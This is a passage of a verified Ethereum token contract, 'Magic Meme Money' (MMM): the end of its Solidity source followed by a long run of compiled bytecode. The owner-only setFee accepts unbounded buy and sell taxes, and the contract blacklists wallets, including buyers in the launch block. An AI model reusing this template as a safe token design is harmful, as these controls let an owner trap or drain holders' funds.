rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner { _redisFeeOnBuy = redisFeeOnBuy; _redisFeeOnSell = redisFeeOnSell; _taxFeeOnBuy = taxFeeOnBuy; _taxFeeOnSell = taxFeeOnSell; } //Set minimum tokens required to swap. function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner { _swapTokensAtAmount = swapTokensAtAmount; } //Set minimum tokens required to swap. function toggleSwap(bool _swapEnabled) public onlyOwner { swapEnabled = _swapEnabled; } //Set maximum transaction function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner { _maxTxAmount = maxTxAmount; } function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner { _maxWalletSize = maxWalletSize; } function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner { for(uint256 i = 0; i < accounts.length; i++) { _isExcludedFromFee[accounts[i]] = excluded; } } }
0x6080604052600436106101d05760003560e01c80637d1db4a5116100f7578063a9059cbb11610095578063d00efb2f11610064578063d00efb2f14610648578063dd62ed3e14610673578063ea1644d5146106b0578063f2fde38b146106d9576101d7565b8063a9059cbb1461058e578063bfd79284146105cb578063c3c8cd8014610608578063c492f0461461061f576101d7565b80638f9a55c0116100d15780638f9a55c0146104e657806395d89b411461051157806398a5c3151461053c578063a2a957bb14610565576101d7565b80637d1db4a5146104675780638da5cb5b146104925780638f70ccf7146104bd576101d7565b8063313ce5671161016f5780636fc3eaec1161013e5780636fc3eaec146103d357806370a08231146103ea578063715018a61461042757806374010ece1461043e576101d7565b8063313ce5671461032b57806349bd5a5e146103565780636b999053146103815780636d8aa8f8146103aa576101d7565b80631694505e116101ab5780631694505e1461026d57806318160ddd1461029857806323b872dd146102c35780632fd689e314610300576101d7565b8062b8cf2a146101dc57806306fdde0314610205578063095ea7b314610230576101d7565b366101d757005b600080fd5b3480156101e857600080fd5b5061020360048036038101906101fe9190613044565b610702565b005b34801561021157600080fd5b5061021a61082c565b60405161022791906134a1565b60405180910390f35b34801561023c57600080fd5b5061025760048036038101906102529190612fa4565b610869565b604051610264919061346b565b60405180910390f35b34801561027957600080fd5b50610282610887565b60405161028f9190613486565b60405180910390f35b3480156102a457600080fd5b506102ad6108ad565b6040516102ba9190613683565b60405180910390f35b3480156102cf57600080fd5b506102ea60048036038101906102e59190612f51565b6108bd565b6040516102f7919061346b565b60405180910390f35b34801561030c57600080fd5b50610315610996565b6040516103229190613683565b60405180910390f35b34801561033757600080fd5b5061034061099c565b60405161034d91906136f8565b60405180910390f35b34801561036257600080fd5b5061036b6109a5565b6040516103789190613450565b60405180910390f35b34801561038d57600080fd5b506103a860048036038101906103a39190612eb7565b6109cb565b005b3480156103b657600080fd5b506103d160048036038101906103cc919061308d565b610abb565b005b3480156103df57600080fd5b506103e8610b6c565b005b3480156103f657600080fd5b50610411600480360381019061040c9190612eb7565b610c3d565b60405161041e9190613683565b60405180910390f35b34801561043357600080fd5b5061043c610c8e565b005b34801561044a57600080fd5b50610465600480360381019061046091906130ba565b610de1565b005b34801561047357600080fd5b5061047c610e80565b6040516104899190613683565b60405180910390f35b34801561049e57600080fd5b506104a7610e86565b6040516104b49190613450565b60405180910390f35b3480156104c957600080fd5b506104e460048036038101906104df919061308d565b610eaf565b005b3480156104f257600080fd5b506104fb610f68565b6040516105089190613683565b60405180910390f35b34801561051d57600080fd5b50610526610f6e565b60405161053391906134a1565b60405180910390f35b34801561054857600080fd5b50610563600480360381019061055e91906130ba565b610fab565b005b34801561057157600080fd5b5061058c600480360381019061058791906130e7565b61104a565b005b34801561059a57600080fd5b506105b560048036038101906105b09190612fa4565b611101565b6040516105c2919061346b565b60405180910390f35b3480156105d757600080fd5b506105f260048036038101906105ed9190612eb7565b61111f565b6040516105ff919061346b565b60405180910390f35b34801561061457600080fd5b5061061d61113f565b005b34801561062b57600080fd5b5061064660048036038101906106419190612fe4565b611218565b005b34801561065457600080fd5b5061065d611352565b60405161066a9190613683565b60405180910390f35b34801561067f57600080fd5b5061069a60048036038101906106959190612f11565b611358565b6040516106a79190613683565b60405180910390f35b3480156106bc57600080fd5b506106d760048036038101906106d291906130ba565b6113df565b005b3480156106e557600080fd5b5061070060048036038101906106fb9190612eb7565b61147e565b005b61070a611640565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610797576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161078e906135e3565b60405180910390fd5b60005b8151811015610828576001601160008484815181106107bc576107bb613a76565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610820906139cf565b91505061079a565b5050565b60606040518060400160405280601081526020017f4d61676963204d656d65204d6f6e657900000000000000000000000000000000815250905090565b600061087d610876611640565b8484611648565b6001905092915050565b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000678ac7230489e80000905090565b60006108ca848484611813565b61098b846108d6611640565b61098685604051806060016040528060288152602001613f2460289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061093c611640565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546121f39092919063ffffffff16565b611648565b600190509392505050565b60195481565b60006009905090565b601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6109d3611640565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a60576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a57906135e3565b60405180910390fd5b6000601160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b610ac3611640565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b50576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b47906135e3565b60405180910390fd5b806016806101000a81548160ff02191690831515021790555050565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610bad611640565b73ffffffffffffffffffffffffffffffffffffffff161480610c235750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610c0b611640565b73ffffffffffffffffffffffffffffffffffffffff16145b610c2c57600080fd5b6000479050610c3a81612257565b50565b6000610c87600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612352565b9050919050565b610c96611640565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d23576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d1a906135e3565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b610de9611640565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e76576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e6d906135e3565b60405180910390fd5b8060178190555050565b60175481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b610eb7611640565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f44576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f3b906135e3565b60405180910390fd5b80601660146101000a81548160ff0219169083151502179055504360088190555050565b60185481565b60606040518060400160405280600381526020017f4d4d4d0000000000000000000000000000000000000000000000000000000000815250905090565b610fb3611640565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611040576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611037906135e3565b60405180910390fd5b8060198190555050565b611052611640565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146110df576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110d6906135e3565b60405180910390fd5b8360098190555082600b8190555081600a8190555080600c8190555050505050565b600061111561110e611640565b8484611813565b6001905092915050565b60116020528060005260406000206000915054906101000a900460ff1681565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16611180611640565b73ffffffffffffffffffffffffffffffffffffffff1614806111f65750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166111de611640565b73ffffffffffffffffffffffffffffffffffffffff16145b6111ff57600080fd5b600061120a30610c3d565b9050611215816123c0565b50565b611220611640565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146112ad576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112a4906135e3565b60405180910390fd5b60005b8383905081101561134c5781600560008686858181106112d3576112d2613a76565b5b90506020020160208101906112e89190612eb7565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080611344906139cf565b9150506112b0565b50505050565b60085481565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6113e7611640565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611474576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161146b906135e3565b60405180910390fd5b8060188190555050565b611486611640565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611513576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161150a906135e3565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415611583576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161157a90613543565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156116b8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116af90613663565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611728576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161171f90613563565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516118069190613683565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611883576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161187a90613623565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156118f3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118ea906134c3565b60405180910390fd5b60008111611936576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161192d90613603565b60405180910390fd5b61193e610e86565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156119ac575061197c610e86565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611ef257601660149054906101000a900460ff16611a3b576119cd610e86565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614611a3a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a31906134e3565b60405180910390fd5b5b601754811115611a80576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a7790613523565b60405180910390fd5b601160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015611b245750601160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b611b63576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b5a90613583565b60405180910390fd5b6001600854611b7291906137b9565b4311158015611bce5750601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b8015611c285750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015611c6057503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611cbe576001601160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614611d6b5760185481611d2084610c3d565b611d2a91906137b9565b10611d6a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d6190613643565b60405180910390fd5b5b6000611d7630610c3d565b9050600060195482101590506017548210611d915760175491505b808015611dab5750601660159054906101000a900460ff16155b8015611e055750601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b8015611e1b575060168054906101000a900460ff165b8015611e715750600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611ec75750600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611eef57611ed5826123c0565b60004790506000811115611eed57611eec47612257565b5b505b50505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611f995750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b8061204c5750601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415801561204b5750601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b5b1561205a57600090506121e1565b601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161480156121055750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b1561211d57600954600d81905550600a54600e819055505b601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156121c85750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b156121e057600b54600d81905550600c54600e819055505b5b6121ed84848484612648565b50505050565b600083831115829061223b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161223291906134a1565b60405180910390fd5b506000838561224a919061389a565b9050809150509392505050565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc6122a760028461267590919063ffffffff16565b9081150290604051600060405180830381858888f193505050501580156122d2573d6000803e3d6000fd5b50601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc61232360028461267590919063ffffffff16565b9081150290604051600060405180830381858888f1935050505015801561234e573d6000803e3d6000fd5b5050565b6000600654821115612399576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161239090613503565b60405180910390fd5b60006123a36126bf565b90506123b8818461267590919063ffffffff16565b915050919050565b6001601660156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff8111156123f8576123f7613aa5565b5b6040519080825280602002602001820160405280156124265781602001602082028036833780820191505090505b509050308160008151811061243e5761243d613a76565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156124e057600080fd5b505afa1580156124f4573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906125189190612ee4565b8160018151811061252c5761252b613a76565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061259330601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611648565b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016125f795949392919061369e565b600060405180830381600087803b15801561261157600080fd5b505af1158015612625573d6000803e3d6000fd5b50505050506000601660156101000a81548160ff02191690831515021790555050565b80612656576126556126ea565b5b61266184848461272d565b8061266f5761266e6128f8565b5b50505050565b60006126b783836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061290c565b905092915050565b60008060006126cc61296f565b915091506126e3818361267590919063ffffffff16565b9250505090565b6000600d541480156126fe57506000600e54145b156127085761272b565b600d54600f81905550600e546010819055506000600d819055506000600e819055505b565b60008060008060008061273f876129ce565b95509550955095509550955061279d86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612a3690919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061283285600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612a8090919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061287e81612ade565b6128888483612b9b565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516128e59190613683565b60405180910390a3505050505050505050565b600f54600d81905550601054600e81905550565b60008083118290612953576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161294a91906134a1565b60405180910390fd5b5060008385612962919061380f565b9050809150509392505050565b600080600060065490506000678ac7230489e8000090506129a3678ac7230489e8000060065461267590919063ffffffff16565b8210156129c157600654678ac7230489e800009350935050506129ca565b81819350935050505b9091565b60008060008060008060008060006129eb8a600d54600e54612bd5565b92509250925060006129fb6126bf565b90506000806000612a0e8e878787612c6b565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b6000612a7883836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506121f3565b905092915050565b6000808284612a8f91906137b9565b905083811015612ad4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612acb906135a3565b60405180910390fd5b8091505092915050565b6000612ae86126bf565b90506000612aff8284612cf490919063ffffffff16565b9050612b5381600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612a8090919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b612bb082600654612a3690919063ffffffff16565b600681905550612bcb81600754612a8090919063ffffffff16565b6007819055505050565b600080600080612c016064612bf3888a612cf490919063ffffffff16565b61267590919063ffffffff16565b90506000612c2b6064612c1d888b612cf490919063ffffffff16565b61267590919063ffffffff16565b90506000612c5482612c46858c612a3690919063ffffffff16565b612a3690919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080612c848589612cf490919063ffffffff16565b90506000612c9b8689612cf490919063ffffffff16565b90506000612cb28789612cf490919063ffffffff16565b90506000612cdb82612ccd8587612a3690919063ffffffff16565b612a3690919063ffffffff16565b9050838184965096509650505050509450945094915050565b600080831415612d075760009050612d69565b60008284612d159190613840565b9050828482612d24919061380f565b14612d64576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612d5b906135c3565b60405180910390fd5b809150505b92915050565b6000612d82612d7d84613738565b613713565b90508083825260208201905082856020860282011115612da557612da4613ade565b5b60005b85811015612dd55781612dbb8882612ddf565b845260208401935060208301925050600181019050612da8565b5050509392505050565b600081359050612dee81613ede565b92915050565b600081519050612e0381613ede565b92915050565b60008083601f840112612e1f57612e1e613ad9565b5b8235905067ffffffffffffffff811115612e3c57612e3b613ad4565b5b602083019150836020820283011115612e5857612e57613ade565b5b9250929050565b600082601f830112612e7457612e73613ad9565b5b8135612e84848260208601612d6f565b91505092915050565b600081359050612e9c81613ef5565b92915050565b600081359050612eb181613f0c565b92915050565b600060208284031215612ecd57612ecc613ae8565b5b6000612edb84828501612ddf565b91505092915050565b600060208284031215612efa57612ef9613ae8565b5b6000612f0884828501612df4565b91505092915050565b60008060408385031215612f2857612f27613ae8565b5b6000612f3685828601612ddf565b9250506020612f4785828601612ddf565b9150509250929050565b600080600060608486031215612f6a57612f69613ae8565b5b6000612f7886828701612ddf565b9350506020612f8986828701612ddf565b9250506040612f9a86828701612ea2565b9150509250925092565b60008060408385031215612fbb57612fba613ae8565b5b6000612fc985828601612ddf565b9250506020612fda85828601612ea2565b9150509250929050565b600080600060408486031215612ffd57612ffc613ae8565b5b600084013567ffffffffffffffff81111561301b5761301a613ae3565b5b61302786828701612e09565b9350935050602061303a86828701612e8d565b9150509250925092565b60006020828403121561305a57613059613ae8565b5b600082013567ffffffffffffffff81111561307857613077613ae3565b5b61308484828501612e5f565b91505092915050565b6000602082840312156130a3576130a2613ae8565b5b60006130b184828501612e8d565b91505092915050565b6000602082840312156130d0576130cf613ae8565b5b60006130de84828501612ea2565b91505092915050565b6000806000806080858703121561310157613100613ae8565b5b600061310f87828801612ea2565b945050602061312087828801612ea2565b935050604061313187828801612ea2565b925050606061314287828801612ea2565b91505092959194509250565b600061315a8383613166565b60208301905092915050565b61316f816138ce565b82525050565b61317e816138ce565b82525050565b600061318f82613774565b6131998185613797565b93506131a483613764565b8060005b838110156131d55781516131bc888261314e565b97506131c78361378a565b9250506001810190506131a8565b5085935050505092915050565b6131eb816138e0565b82525050565b6131fa81613923565b82525050565b61320981613935565b82525050565b600061321a8261377f565b61322481856137a8565b935061323481856020860161396b565b61323d81613aed565b840191505092915050565b60006132556023836137a8565b915061326082613afe565b604082019050919050565b6000613278603f836137a8565b915061328382613b4d565b604082019050919050565b600061329b602a836137a8565b91506132a682613b9c565b604082019050919050565b60006132be601c836137a8565b91506132c982613beb565b602082019050919050565b60006132e16026836137a8565b91506132ec82613c14565b604082019050919050565b60006133046022836137a8565b915061330f82613c63565b604082019050919050565b60006133276023836137a8565b915061333282613cb2565b604082019050919050565b600061334a601b836137a8565b915061335582613d01565b602082019050919050565b600061336d6021836137a8565b915061337882613d2a565b604082019050919050565b60006133906020836137a8565b915061339b82613d79565b602082019050919050565b60006133b36029836137a8565b91506133be82613da2565b604082019050919050565b60006133d66025836137a8565b91506133e182613df1565b604082019050919050565b60006133f96023836137a8565b915061340482613e40565b604082019050919050565b600061341c6024836137a8565b915061342782613e8f565b604082019050919050565b61343b8161390c565b82525050565b61344a81613916565b82525050565b60006020820190506134656000830184613175565b92915050565b600060208201905061348060008301846131e2565b92915050565b600060208201905061349b60008301846131f1565b92915050565b600060208201905081810360008301526134bb818461320f565b905092915050565b600060208201905081810360008301526134dc81613248565b9050919050565b600060208201905081810360008301526134fc8161326b565b9050919050565b6000602082019050818103600083015261351c8161328e565b9050919050565b6000602082019050818103600083015261353c816132b1565b9050919050565b6000602082019050818103600083015261355c816132d4565b9050919050565b6000602082019050818103600083015261357c816132f7565b9050919050565b6000602082019050818103600083015261359c8161331a565b9050919050565b600060208201905081810360008301526135bc8161333d565b9050919050565b600060208201905081810360008301526135dc81613360565b9050919050565b600060208201905081810360008301526135fc81613383565b9050919050565b6000602082019050818103600083015261361c816133a6565b9050919050565b6000602082019050818103600083015261363c816133c9565b9050919050565b6000602082019050818103600083015261365c816133ec565b9050919050565b6000602082019050818103600083015261367c8161340f565b9050919050565b60006020820190506136986000830184613432565b92915050565b600060a0820190506136b36000830188613432565b6136c06020830187613200565b81810360408301526136d28186613184565b90506136e16060830185613175565b6136ee6080830184613432565b9695505050505050565b600060208201905061370d6000830184613441565b92915050565b600061371d61372e565b9050613729828261399e565b919050565b6000604051905090565b600067ffffffffffffffff82111561375357613752613aa5565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006137c48261390c565b91506137cf8361390c565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561380457613803613a18565b5b828201905092915050565b600061381a8261390c565b91506138258361390c565b92508261383557613834613a47565b5b828204905092915050565b600061384b8261390c565b91506138568361390c565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561388f5761388e613a18565b5b828202905092915050565b60006138a58261390c565b91506138b08361390c565b9250828210156138c3576138c2613a18565b5b828203905092915050565b60006138d9826138ec565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b600061392e82613947565b9050919050565b60006139408261390c565b9050919050565b600061395282613959565b9050919050565b6000613964826138ec565b9050919050565b60005b8381101561398957808201518184015260208101905061396e565b83811115613998576000848401525b50505050565b6139a782613aed565b810181811067ffffffffffffffff821117156139c6576139c5613aa5565b5b80604052505050565b60006139da8261390c565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff821415613a0d57613a0c613a18565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060008201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c656400602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f544f4b454e3a204d6178205472616e73616374696f6e204c696d697400000000600082015250565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460008201527f6564210000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f544f4b454e3a2042616c616e636520657863656564732077616c6c657420736960008201527f7a65210000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d